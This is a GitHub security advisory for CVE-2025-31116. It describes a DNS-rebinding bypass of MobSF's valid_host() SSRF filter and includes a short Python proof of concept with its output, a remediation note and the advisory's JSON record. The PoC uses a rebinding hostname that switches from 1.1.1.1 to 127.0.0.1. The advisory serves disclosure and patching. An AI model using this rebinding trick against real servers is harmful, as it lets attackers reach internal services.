ghsa-fcfq-m8p6-gw56
Vulnerability from github
Summary
The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host()
. The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.
PoC
The following proof of concept:
```python def valid_host(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalid_prefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalid_prefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalid_prefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None
import random import time import socket from urllib.parse import urlparse
if name == 'main':
print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999)
host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
print("Done")
print(f"Testing with '{host}' ... ", end=" ")
valid, ip = valid_host(host)
if valid:
print(f"Successful Bypass")
print(f" - Host initially resolved to: {ip}")
print("Sleeping for 1 second ...")
time.sleep(1)
print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
print("Sleeping for 30 seconds ...")
time.sleep(30)
else:
print(f"Invalid host")
```
Yields :
$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass
- Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
- Second use host will be resolved to: 127.0.0.1
- Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...
Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1
. The second time the IP was resolved to 127.0.0.1
. Such an attack could be adjusted for other IP addresses.
Impact
The usual impact of Server-side request forgery.
Remediation
- Avoid the use of
socket.gethostbyname()
since it issues and DNS query.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "mobsf" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.3.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-31116" ], "database_specific": { "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2025-03-31T17:23:21Z", "nvd_published_at": "2025-03-31T17:15:42Z", "severity": "MODERATE" }, "details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n \"\"\"Check if host is valid.\"\"\"\n try:\n prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n if not host.startswith(prefixs):\n host = f\u0027http://{host}\u0027\n parsed = urlparse(host)\n domain = parsed.netloc\n path = parsed.path\n if len(domain) == 0:\n # No valid domain\n return False, None\n if len(path) \u003e 0:\n # Only host is allowed\n return False, None\n if \u0027:\u0027 in domain:\n # IPv6\n return False, None\n # Local network\n invalid_prefix = (\n \u0027100.64.\u0027,\n \u0027127.\u0027,\n \u0027192.\u0027,\n \u0027198.\u0027,\n \u002710.\u0027,\n \u0027172.\u0027,\n \u0027169.\u0027,\n \u00270.\u0027,\n \u0027203.0.\u0027,\n \u0027224.0.\u0027,\n \u0027240.0\u0027,\n \u0027255.255.\u0027,\n \u0027localhost\u0027,\n \u0027::1\u0027,\n \u002764::ff9b::\u0027,\n \u0027100::\u0027,\n \u00272001::\u0027,\n \u00272002::\u0027,\n \u0027fc00::\u0027,\n \u0027fe80::\u0027,\n \u0027ff00::\u0027)\n if domain.startswith(invalid_prefix):\n return False, None\n ip = socket.gethostbyname(domain)\n if ip.startswith(invalid_prefix):\n # Resolve dns to get IP\n return False, None\n return True, ip\n except Exception:\n return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n print(\"Generating random host ...\", end=\u0027 \u0027) \n prefix = random.randint(999_999, 9_999_999)\n host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n print(\"Done\")\n print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n valid, ip = valid_host(host)\n if valid:\n print(f\"Successful Bypass\")\n print(f\" - Host initially resolved to: {ip}\")\n print(\"Sleeping for 1 second ...\")\n time.sleep(1)\n print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n print(\"Sleeping for 30 seconds ...\")\n time.sleep(30)\n else:\n print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ... Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.", "id": "GHSA-fcfq-m8p6-gw56", "modified": "2025-06-13T04:11:18Z", "published": "2025-03-31T17:23:21Z", "references": [ { "type": "WEB", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116" }, { "type": "WEB", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd" }, { "type": "PACKAGE", "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L", "type": "CVSS_V3" } ], "summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.